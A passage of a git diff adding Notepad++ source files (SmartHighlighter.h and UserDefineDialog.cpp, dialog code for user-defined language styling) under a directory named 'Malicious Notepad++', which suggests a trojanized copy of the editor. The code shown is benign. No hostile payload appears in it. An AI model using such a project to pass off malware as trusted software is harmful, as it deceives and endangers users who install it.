2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#ifndef SMARTHIGHLIGHTER_H +#define SMARTHIGHLIGHTER_H + +#include "Common.h" + +class ScintillaEditView; +class FindReplaceDlg; + +class SmartHighlighter { +public: + explicit SmartHighlighter(FindReplaceDlg * pFRDlg); + void highlightView(ScintillaEditView * pHighlightView, ScintillaEditView * unfocusView); + void highlightViewWithWord(ScintillaEditView * pHighlightView, const generic_string & word2Hilite); + +private: + FindReplaceDlg * _pFRDlg; +}; + +#endif //SMARTHIGHLIGHTER_H \ No newline at end of file diff --git a/Malicious Notepad++/src/ScitillaComponent/UserDefineDialog.cpp b/Malicious Notepad++/src/ScitillaComponent/UserDefineDialog.cpp new file mode 100644 index 0000000..9a8b480 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/UserDefineDialog.cpp @@ -0,0 +1,1757 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "localization.h" +#include "UserDefineDialog.h" +#include "ScintillaEditView.h" +#include "Parameters.h" +#include "resource.h" +#include "Notepad_plus_msgs.h" +#include "FileDialog.h" +#include "Common.h" + +using namespace std; + +UserLangContainer * SharedParametersDialog::_pUserLang = NULL; +ScintillaEditView * SharedParametersDialog::_pScintilla = NULL; + +GlobalMappers & globalMappper() +{ + // getting global object as reference to static ensures that only one object is created + // even if called from different code units + static GlobalMappers gm; + return gm; +} + +bool SharedParametersDialog::setPropertyByCheck(HWND hwnd, WPARAM id, bool & bool2set) +{ + bool2set = (BST_CHECKED == ::SendMessage(::GetDlgItem(hwnd, int(id)), BM_GETCHECK, 0, 0)); + + if (_pScintilla->getCurrentBuffer()->getLangType() == L_USER) + _pScintilla->styleChange(); + + return TRUE; +} + +INT_PTR CALLBACK SharedParametersDialog::run_dlgProc(UINT Message, WPARAM wParam, LPARAM /*lParam*/) +{ + switch (Message) + { + case WM_INITDIALOG : + { + // initControls(); + return TRUE; + } + + case WM_COMMAND : + { + if (HIWORD(wParam) == EN_CHANGE) + { + setKeywords2List(LOWORD(wParam)); + + if (_pScintilla->getCurrentBuffer()->getLangType() == L_USER) + _pScintilla->styleChange(); + + return TRUE; + } + return FALSE; + } + } + return FALSE; +} + +INT_PTR CALLBACK FolderStyleDialog::run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam) +{ + switch (Message) + { + case WM_INITDIALOG : + { + _pageLink.init(_hInst, _hSelf); + _pageLink.create(::GetDlgItem(_hSelf, IDC_WEB_HELP_LINK), TEXT("https://ivan-radic.github.io/udl-documentation/")); + return TRUE; + } + + case WM_COMMAND : + { + switch (wParam) + { + case IDC_FOLDER_FOLD_COMPACT : + { + return setPropertyByCheck(_hSelf, wParam, _pUserLang->_foldCompact); + } + case IDC_FOLDER_IN_CODE1_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_FOLDER_IN_CODE1, SCE_USER_MASK_NESTING_NONE); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_FOLDER_IN_CODE2_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_FOLDER_IN_CODE2, SCE_USER_MASK_NESTING_NONE); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_FOLDER_IN_COMMENT_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_FOLDER_IN_COMMENT, SCE_USER_MASK_NESTING_NONE); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_DEFAULT_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_DEFAULT, SCE_USER_MASK_NESTING_NONE); + stylerDlg.doDialog(); + return TRUE; + } + default : + return SharedParametersDialog::run_dlgProc(Message, wParam, lParam); + } + } + case WM_DESTROY: + { + _pageLink.destroy(); + return TRUE; + } + default : + return SharedParametersDialog::run_dlgProc(Message, wParam, lParam); + } +} + +void FolderStyleDialog::setKeywords2List(int id) +{ + switch (id) + { + case IDC_FOLDER_IN_CODE1_OPEN_EDIT : + case IDC_FOLDER_IN_CODE1_MIDDLE_EDIT : + case IDC_FOLDER_IN_CODE1_CLOSE_EDIT : + case IDC_FOLDER_IN_CODE2_OPEN_EDIT : + case IDC_FOLDER_IN_CODE2_MIDDLE_EDIT : + case IDC_FOLDER_IN_CODE2_CLOSE_EDIT : + case IDC_FOLDER_IN_COMMENT_OPEN_EDIT : + case IDC_FOLDER_IN_COMMENT_MIDDLE_EDIT : + case IDC_FOLDER_IN_COMMENT_CLOSE_EDIT : + ::GetDlgItemText(_hSelf, id, _pUserLang->_keywordLists[globalMappper().dialogMapper[id]], max_char); + break; + } +} + +void FolderStyleDialog::updateDlg() +{ + ::SendDlgItemMessage(_hSelf, IDC_FOLDER_FOLD_COMPACT, BM_SETCHECK, _pUserLang->_foldCompact, 0); + + ::SendDlgItemMessage(_hSelf, IDC_FOLDER_IN_CODE1_OPEN_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_FOLDERS_IN_CODE1_OPEN])); + ::SendDlgItemMessage(_hSelf, IDC_FOLDER_IN_CODE1_MIDDLE_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_FOLDERS_IN_CODE1_MIDDLE])); + ::SendDlgItemMessage(_hSelf, IDC_FOLDER_IN_CODE1_CLOSE_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_FOLDERS_IN_CODE1_CLOSE])); + ::SendDlgItemMessage(_hSelf, IDC_FOLDER_IN_CODE2_OPEN_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_FOLDERS_IN_CODE2_OPEN])); + ::SendDlgItemMessage(_hSelf, IDC_FOLDER_IN_CODE2_MIDDLE_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_FOLDERS_IN_CODE2_MIDDLE])); + ::SendDlgItemMessage(_hSelf, IDC_FOLDER_IN_CODE2_CLOSE_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_FOLDERS_IN_CODE2_CLOSE])); + ::SendDlgItemMessage(_hSelf, IDC_FOLDER_IN_COMMENT_OPEN_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_FOLDERS_IN_COMMENT_OPEN])); + ::SendDlgItemMessage(_hSelf, IDC_FOLDER_IN_COMMENT_MIDDLE_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_FOLDERS_IN_COMMENT_MIDDLE])); + ::SendDlgItemMessage(_hSelf, IDC_FOLDER_IN_COMMENT_CLOSE_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_FOLDERS_IN_COMMENT_CLOSE])); +} + +void FolderStyleDialog::convertTo(TCHAR *dest, const TCHAR *toConvert, TCHAR *prefix) const +{ + bool inGroup = false; + int index = lstrlen(dest); + if (index > 0) + dest[index++] = ' '; + dest[index++] = prefix[0]; + dest[index++] = prefix[1]; + + for (size_t i = 0, len = lstrlen(toConvert); i < len ; ++i) + { + if (i == 0 && toConvert[i] == '(' && toConvert[i+1] == '(') + { + inGroup = true; + } + else if (toConvert[i] == ' ' && toConvert[i+1] == '(' && toConvert[i+2] == '(') + { + inGroup = true; + dest[index++] = ' '; + dest[index++] = prefix[0]; + dest[index++] = prefix[1]; + ++i; // skip space + } + if (inGroup && toConvert[i-1] == ')' && toConvert[i-2] == ')') + { + inGroup = false; + } + + if (toConvert[i] == ' ') + { + if (toConvert[i+1] != ' ' && toConvert[i+1] != '\0') + { + dest[index++] = ' '; + if (!inGroup) + { + dest[index++] = prefix[0]; + dest[index++] = prefix[1]; + } + } + } + else + { + dest[index++] = toConvert[i]; + } + } + dest[index] = '\0'; +} + +void FolderStyleDialog::retrieve(TCHAR *dest, const TCHAR *toRetrieve, TCHAR *prefix) const +{ + int j = 0; + bool begin2Copy = false; + + for (size_t i = 0, len = lstrlen(toRetrieve); i < len ; ++i) + { + if ((i == 0 || (toRetrieve[i-1] == ' ')) && (toRetrieve[i] == prefix[0] && toRetrieve[i+1] == prefix[1])) + { + if (j > 0) + dest[j++] = ' '; + + begin2Copy = true; + ++i; + continue; + } + else if (((toRetrieve[i] == ' ') && begin2Copy == true)) + { + begin2Copy = false; + } + + if (begin2Copy) + dest[j++] = toRetrieve[i]; + } + dest[j++] = '\0'; +} + +INT_PTR CALLBACK KeyWordsStyleDialog::run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam) +{ + switch (Message) + { + case WM_INITDIALOG : + { + // extend Keyword edit boxes to hold 128k of TCHARs + ::SendMessage(::GetDlgItem(_hSelf,IDC_KEYWORD1_EDIT), EM_LIMITTEXT, WPARAM(128*1024), 0); + ::SendMessage(::GetDlgItem(_hSelf,IDC_KEYWORD2_EDIT), EM_LIMITTEXT, WPARAM(128*1024), 0); + ::SendMessage(::GetDlgItem(_hSelf,IDC_KEYWORD3_EDIT), EM_LIMITTEXT, WPARAM(128*1024), 0); + ::SendMessage(::GetDlgItem(_hSelf,IDC_KEYWORD4_EDIT), EM_LIMITTEXT, WPARAM(128*1024), 0); + ::SendMessage(::GetDlgItem(_hSelf,IDC_KEYWORD5_EDIT), EM_LIMITTEXT, WPARAM(128*1024), 0); + ::SendMessage(::GetDlgItem(_hSelf,IDC_KEYWORD6_EDIT), EM_LIMITTEXT, WPARAM(128*1024), 0); + ::SendMessage(::GetDlgItem(_hSelf,IDC_KEYWORD7_EDIT), EM_LIMITTEXT, WPARAM(128*1024), 0); + ::SendMessage(::GetDlgItem(_hSelf,IDC_KEYWORD8_EDIT), EM_LIMITTEXT, WPARAM(128*1024), 0); + + return TRUE; + } + + case WM_COMMAND : + { + switch (wParam) + { + case IDC_KEYWORD1_PREFIX_CHECK : + return setPropertyByCheck(_hSelf, wParam, _pUserLang->_isPrefix[0]); + + case IDC_KEYWORD2_PREFIX_CHECK : + return setPropertyByCheck(_hSelf, wParam, _pUserLang->_isPrefix[1]); + + case IDC_KEYWORD3_PREFIX_CHECK : + return setPropertyByCheck(_hSelf, wParam, _pUserLang->_isPrefix[2]); + + case IDC_KEYWORD4_PREFIX_CHECK : + return setPropertyByCheck(_hSelf, wParam, _pUserLang->_isPrefix[3]); + + case IDC_KEYWORD5_PREFIX_CHECK : + return setPropertyByCheck(_hSelf, wParam, _pUserLang->_isPrefix[4]); + + case IDC_KEYWORD6_PREFIX_CHECK : + return setPropertyByCheck(_hSelf, wParam, _pUserLang->_isPrefix[5]); + + case IDC_KEYWORD7_PREFIX_CHECK : + return setPropertyByCheck(_hSelf, wParam, _pUserLang->_isPrefix[6]); + + case IDC_KEYWORD8_PREFIX_CHECK : + return setPropertyByCheck(_hSelf, wParam, _pUserLang->_isPrefix[7]); + + case IDC_KEYWORD1_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_KEYWORD1, SCE_USER_MASK_NESTING_NONE); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_KEYWORD2_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_KEYWORD2, SCE_USER_MASK_NESTING_NONE); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_KEYWORD3_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_KEYWORD3, SCE_USER_MASK_NESTING_NONE); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_KEYWORD4_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_KEYWORD4, SCE_USER_MASK_NESTING_NONE); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_KEYWORD5_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_KEYWORD5, SCE_USER_MASK_NESTING_NONE); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_KEYWORD6_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_KEYWORD6, SCE_USER_MASK_NESTING_NONE); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_KEYWORD7_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_KEYWORD7, SCE_USER_MASK_NESTING_NONE); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_KEYWORD8_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_KEYWORD8, SCE_USER_MASK_NESTING_NONE); + stylerDlg.doDialog(); + return TRUE; + } + default : + return SharedParametersDialog::run_dlgProc(Message, wParam, lParam); + } + } + default : + return SharedParametersDialog::run_dlgProc(Message, wParam, lParam); + } +} + +void KeyWordsStyleDialog::setKeywords2List(int id) +{ + switch (id) + { + case IDC_KEYWORD1_EDIT : + case IDC_KEYWORD2_EDIT : + case IDC_KEYWORD3_EDIT : + case IDC_KEYWORD4_EDIT : + case IDC_KEYWORD5_EDIT : + case IDC_KEYWORD6_EDIT : + case IDC_KEYWORD7_EDIT : + case IDC_KEYWORD8_EDIT : + ::GetDlgItemText(_hSelf, id, _pUserLang->_keywordLists[globalMappper().dialogMapper[id]], max_char); + } +} + +void KeyWordsStyleDialog::updateDlg() +{ + ::SendDlgItemMessage(_hSelf, IDC_KEYWORD1_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_KEYWORDS1])); + ::SendDlgItemMessage(_hSelf, IDC_KEYWORD2_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_KEYWORDS2])); + ::SendDlgItemMessage(_hSelf, IDC_KEYWORD3_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_KEYWORDS3])); + ::SendDlgItemMessage(_hSelf, IDC_KEYWORD4_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_KEYWORDS4])); + ::SendDlgItemMessage(_hSelf, IDC_KEYWORD5_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_KEYWORDS5])); + ::SendDlgItemMessage(_hSelf, IDC_KEYWORD6_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_KEYWORDS6])); + ::SendDlgItemMessage(_hSelf, IDC_KEYWORD7_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_KEYWORDS7])); + ::SendDlgItemMessage(_hSelf, IDC_KEYWORD8_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_KEYWORDS8])); + + ::SendDlgItemMessage(_hSelf, IDC_KEYWORD1_PREFIX_CHECK, BM_SETCHECK, _pUserLang->_isPrefix[0], 0); + ::SendDlgItemMessage(_hSelf, IDC_KEYWORD2_PREFIX_CHECK, BM_SETCHECK, _pUserLang->_isPrefix[1], 0); + ::SendDlgItemMessage(_hSelf, IDC_KEYWORD3_PREFIX_CHECK, BM_SETCHECK, _pUserLang->_isPrefix[2], 0); + ::SendDlgItemMessage(_hSelf, IDC_KEYWORD4_PREFIX_CHECK, BM_SETCHECK, _pUserLang->_isPrefix[3], 0); + ::SendDlgItemMessage(_hSelf, IDC_KEYWORD5_PREFIX_CHECK, BM_SETCHECK, _pUserLang->_isPrefix[4], 0); + ::SendDlgItemMessage(_hSelf, IDC_KEYWORD6_PREFIX_CHECK, BM_SETCHECK, _pUserLang->_isPrefix[5], 0); + ::SendDlgItemMessage(_hSelf, IDC_KEYWORD7_PREFIX_CHECK, BM_SETCHECK, _pUserLang->_isPrefix[6], 0); + ::SendDlgItemMessage(_hSelf, IDC_KEYWORD8_PREFIX_CHECK, BM_SETCHECK, _pUserLang->_isPrefix[7], 0); +} + +INT_PTR CALLBACK CommentStyleDialog::run_dlgProc(UINT Message, WPARAM wParam, LPARAM lParam) +{ + switch (Message) + { + case WM_ACTIVATE : + case WM_SHOWWINDOW : + { + ::SendDlgItemMessage(_hSelf, IDC_ALLOW_ANYWHERE, BM_SETCHECK, _pUserLang->_forcePureLC == PURE_LC_NONE, 0); + ::SendDlgItemMessage(_hSelf, IDC_FORCE_AT_BOL, BM_SETCHECK, _pUserLang->_forcePureLC == PURE_LC_BOL, 0); + ::SendDlgItemMessage(_hSelf, IDC_ALLOW_WHITESPACE, BM_SETCHECK, _pUserLang->_forcePureLC == PURE_LC_WSP, 0); + + ::SendDlgItemMessage(_hSelf, IDC_DOT_RADIO, BM_SETCHECK, _pUserLang->_decimalSeparator == DECSEP_DOT, 0); + ::SendDlgItemMessage(_hSelf, IDC_COMMA_RADIO, BM_SETCHECK, _pUserLang->_decimalSeparator == DECSEP_COMMA, 0); + ::SendDlgItemMessage(_hSelf, IDC_BOTH_RADIO, BM_SETCHECK, _pUserLang->_decimalSeparator == DECSEP_BOTH, 0); + + return SharedParametersDialog::run_dlgProc(Message, wParam, lParam); + } + + case WM_COMMAND : + { + switch (wParam) + { + case IDC_FOLDING_OF_COMMENTS : + { + return setPropertyByCheck(_hSelf, wParam, _pUserLang->_allowFoldOfComments); + } + case IDC_ALLOW_ANYWHERE : + case IDC_FORCE_AT_BOL : + case IDC_ALLOW_WHITESPACE : + { + if (BST_CHECKED == ::SendMessage(::GetDlgItem(_hSelf, IDC_ALLOW_ANYWHERE), BM_GETCHECK, 0, 0)) + _pUserLang->_forcePureLC = PURE_LC_NONE; + else if (BST_CHECKED == ::SendMessage(::GetDlgItem(_hSelf, IDC_FORCE_AT_BOL), BM_GETCHECK, 0, 0)) + _pUserLang->_forcePureLC = PURE_LC_BOL; + else if (BST_CHECKED == ::SendMessage(::GetDlgItem(_hSelf, IDC_ALLOW_WHITESPACE), BM_GETCHECK, 0, 0)) + _pUserLang->_forcePureLC = PURE_LC_WSP; + + if (_pScintilla->getCurrentBuffer()->getLangType() == L_USER) + _pScintilla->styleChange(); + + return TRUE; + } + case IDC_DOT_RADIO : + case IDC_COMMA_RADIO : + case IDC_BOTH_RADIO : + { + if (BST_CHECKED == ::SendMessage(::GetDlgItem(_hSelf, IDC_DOT_RADIO), BM_GETCHECK, 0, 0)) + _pUserLang->_decimalSeparator = DECSEP_DOT; + else if (BST_CHECKED == ::SendMessage(::GetDlgItem(_hSelf, IDC_COMMA_RADIO), BM_GETCHECK, 0, 0)) + _pUserLang->_decimalSeparator = DECSEP_COMMA; + else if (BST_CHECKED == ::SendMessage(::GetDlgItem(_hSelf, IDC_BOTH_RADIO), BM_GETCHECK, 0, 0)) + _pUserLang->_decimalSeparator = DECSEP_BOTH; + + if (_pScintilla->getCurrentBuffer()->getLangType() == L_USER) + _pScintilla->styleChange(); + + return TRUE; + } + case IDC_COMMENTLINE_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_COMMENTLINE); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_COMMENT_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_COMMENT); + stylerDlg.doDialog(); + return TRUE; + } + case IDC_NUMBER_STYLER : + { + StylerDlg stylerDlg(_hInst, _hSelf, SCE_USER_STYLE_NUMBER, SCE_USER_MASK_NESTING_NONE); + stylerDlg.doDialog(); + return TRUE; + } + default : + return SharedParametersDialog::run_dlgProc(Message, wParam, lParam); + } + } + default : + return SharedParametersDialog::run_dlgProc(Message, wParam, lParam); + } +} + +void CommentStyleDialog::setKeywords2List(int id) +{ + int index = 0; + switch (id) + { + case IDC_NUMBER_PREFIX1_EDIT : + case IDC_NUMBER_PREFIX2_EDIT : + case IDC_NUMBER_EXTRAS1_EDIT : + case IDC_NUMBER_EXTRAS2_EDIT : + case IDC_NUMBER_SUFFIX1_EDIT : + case IDC_NUMBER_SUFFIX2_EDIT : + case IDC_NUMBER_RANGE_EDIT : + { + ::GetDlgItemText(_hSelf, id, _pUserLang->_keywordLists[globalMappper().dialogMapper[id]], max_char); + break; + } + + case IDC_COMMENT_OPEN_EDIT : + case IDC_COMMENT_CLOSE_EDIT : + case IDC_COMMENTLINE_OPEN_EDIT : + case IDC_COMMENTLINE_CONTINUE_EDIT : + case IDC_COMMENTLINE_CLOSE_EDIT : + index = SCE_USER_KWLIST_COMMENTS; + break; + default : index = -1; + } + if (index != -1) + { + TCHAR newList[max_char] = TEXT(""); + TCHAR buffer[max_char] = TEXT(""); + TCHAR intBuffer[10] = {'0', 0}; + + const int list[] = { + IDC_COMMENTLINE_OPEN_EDIT, + IDC_COMMENTLINE_CONTINUE_EDIT, + IDC_COMMENTLINE_CLOSE_EDIT, + IDC_COMMENT_OPEN_EDIT, + IDC_COMMENT_CLOSE_EDIT + }; + + for (auto i = 0; i < sizeof(list)/sizeof(int); ++i) + { + generic_itoa(i, intBuffer+1, 10); + ::GetDlgItemText(_hSelf, list[i], buffer, max_char); + convertTo(newList, buffer, intBuffer); + } + + lstrcpy(_pUserLang->_keywordLists[index], newList); + } +} + +void CommentStyleDialog::convertTo(TCHAR *dest, const TCHAR *toConvert, TCHAR *prefix) const +{ + bool inGroup = false; + int index = lstrlen(dest); + if (index > 0) + dest[index++] = ' '; + dest[index++] = prefix[0]; + dest[index++] = prefix[1]; + + for (size_t i = 0, len = lstrlen(toConvert); i < len ; ++i) + { + if (i == 0 && toConvert[i] == '(' && toConvert[i+1] == '(') + { + inGroup = true; + } + else if (toConvert[i] == ' ' && toConvert[i+1] == '(' && toConvert[i+2] == '(') + { + inGroup = true; + dest[index++] = ' '; + dest[index++] = prefix[0]; + dest[index++] = prefix[1]; + ++i; // skip space + } + if (inGroup && toConvert[i-1] == ')' && toConvert[i-2] == ')') + { + inGroup = false; + } + + if (toConvert[i] == ' ') + { + if (toConvert[i+1] != ' ' && toConvert[i+1] != '\0') + { + dest[index++] = ' '; + if (!inGroup) + { + dest[index++] = prefix[0]; + dest[index++] = prefix[1]; + } + } + } + else + { + dest[index++] = toConvert[i]; + } + } + dest[index] = '\0'; +} + +void CommentStyleDialog::retrieve(TCHAR *dest, const TCHAR *toRetrieve, TCHAR *prefix) const +{ + int j = 0; + bool begin2Copy = false; + bool inGroup = false; + + for (size_t i = 0, len = lstrlen(toRetrieve); i < len ; ++i) + { + if ((i == 0 || (toRetrieve[i-1] == ' ')) && (toRetrieve[i] == prefix[0] && toRetrieve[i+1] == prefix[1])) + { + if (j > 0) + dest[j++] = ' '; + + begin2Copy = true; + ++i; + continue; + } + if (toRetrieve[i] == '(' && toRetrieve[i+1] == '(' && inGroup == false && begin2Copy == true) + { + inGroup = true; + } + if (toRetrieve[i] != ')' && toRetrieve[i-1] == ')' && toRetrieve[i-2] == ')' && inGroup == true) + { + inGroup = false; + } + if (toRetrieve[i] == ' ' && begin2Copy == true) + { + begin2Copy = false; + } + + if (begin2Copy || inGroup) + dest[j++] = toRetrieve[i]; + } + dest[j++] = '\0'; +} + +void CommentStyleDialog::updateDlg() +{ + TCHAR buffer[max_char] = TEXT(""); + TCHAR intBuffer[10] = {'0', 0}; + + const int list[] = { + IDC_COMMENTLINE_OPEN_EDIT, + IDC_COMMENTLINE_CONTINUE_EDIT, + IDC_COMMENTLINE_CLOSE_EDIT, + IDC_COMMENT_OPEN_EDIT, + IDC_COMMENT_CLOSE_EDIT + }; + + for (int i=0; i_keywordLists[SCE_USER_KWLIST_COMMENTS], intBuffer); + ::SendDlgItemMessage(_hSelf, list[i], WM_SETTEXT, 0, reinterpret_cast(buffer)); + } + + ::SendDlgItemMessage(_hSelf, IDC_FOLDING_OF_COMMENTS, BM_SETCHECK, _pUserLang->_allowFoldOfComments, 0); + + ::SendDlgItemMessage(_hSelf, IDC_ALLOW_ANYWHERE, BM_SETCHECK, _pUserLang->_forcePureLC == PURE_LC_NONE, 0); + ::SendDlgItemMessage(_hSelf, IDC_FORCE_AT_BOL, BM_SETCHECK, _pUserLang->_forcePureLC == PURE_LC_BOL, 0); + ::SendDlgItemMessage(_hSelf, IDC_ALLOW_WHITESPACE, BM_SETCHECK, _pUserLang->_forcePureLC == PURE_LC_WSP, 0); + + ::SendDlgItemMessage(_hSelf, IDC_DOT_RADIO, BM_SETCHECK, _pUserLang->_decimalSeparator == DECSEP_DOT, 0); + ::SendDlgItemMessage(_hSelf, IDC_COMMA_RADIO, BM_SETCHECK, _pUserLang->_decimalSeparator == DECSEP_COMMA, 0); + ::SendDlgItemMessage(_hSelf, IDC_BOTH_RADIO, BM_SETCHECK, _pUserLang->_decimalSeparator == DECSEP_BOTH, 0); + + ::SendDlgItemMessage(_hSelf, IDC_NUMBER_PREFIX1_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_NUMBER_PREFIX1])); + ::SendDlgItemMessage(_hSelf, IDC_NUMBER_PREFIX2_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_NUMBER_PREFIX2])); + ::SendDlgItemMessage(_hSelf, IDC_NUMBER_EXTRAS1_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_NUMBER_EXTRAS1])); + ::SendDlgItemMessage(_hSelf, IDC_NUMBER_EXTRAS2_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_NUMBER_EXTRAS2])); + ::SendDlgItemMessage(_hSelf, IDC_NUMBER_SUFFIX1_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_NUMBER_SUFFIX1])); + ::SendDlgItemMessage(_hSelf, IDC_NUMBER_SUFFIX2_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_NUMBER_SUFFIX2])); + ::SendDlgItemMessage(_hSelf, IDC_NUMBER_RANGE_EDIT, WM_SETTEXT, 0, reinterpret_cast(_pUserLang->_keywordLists[SCE_USER_KWLIST_NUMBER_RANGE])); +} + +void SymbolsStyleDialog::updateDlg() +{ + TCHAR buffer[max_char] = TEXT(""); + const int list[] = { + IDC_DELIMITER1_BOUNDARYOPEN_EDIT, + IDC_DELIMITER1_ESCAPE_EDIT, + IDC_DELIMITER1_BOUNDARYCLOSE_EDIT, + IDC_DELIMITER2_BOUNDARYOPEN_EDIT, + IDC_DELIMITER2_ESCAPE_EDIT, + IDC_DELIMITER2_BOUNDARYCLOSE_EDIT, + IDC_DELIMITER3_BOUNDARYOPEN_EDIT, + IDC_DELIMITER3_ESCAPE_EDIT, + IDC_DELIMITER3_BOUNDARYCLOSE_EDIT, + IDC_DELIMITER4_BOUNDARYOPEN_EDIT, + IDC_DELIMITER4_ESCAPE_EDIT, + IDC_DELIMITER4_BOUNDARYCLOSE_EDIT, + IDC_DELIMITER5_BOUNDARYOPEN_EDIT, + IDC_DELIMITER5_ESCAPE_EDIT, + IDC_DELIMITER5_BOUNDARYCLOSE_EDIT, + IDC_DELIMITER6_BOUNDARYOPEN_EDIT, + IDC_DELIMITER6_ESCAPE_EDIT, + IDC_DELIMITER6_BOUNDARYCLOSE_EDIT, + IDC_DELIMITER7_BOUNDARYOPEN_EDIT, + IDC_DELIMITER7_ESCAPE_EDIT, + IDC_DELIMITER7_BOUNDARYCLOSE_EDIT, + IDC_DELIMITER8_BOUNDARYOPEN_EDIT, + IDC_DELIMITER8_ESCAPE_EDIT, + IDC_DELIMITER8_BOUNDARYCLOSE_EDIT + }; + TCHAR intBuffer[10] = {'0', 0}; + + for (int i=0; i < sizeof(list)/sizeof(int); ++i) + { + if (i < 10) + generic_itoa(i, intBuffer+1, 10); + else + generic_itoa(i, intBuffer, 10); + + retrieve(buffer, _pUserLang->_keywordLists[SCE_USER_KWLIST_DELIMITERS], intBuffer); + ::SendDlgItemMessage(_hSelf, list[i], WM_SETTEXT, 0, reinterpret_cast(buffer)); + } + + ::SendDlgItemMessage(_hSelf, IDC_OPERATOR1_EDIT, 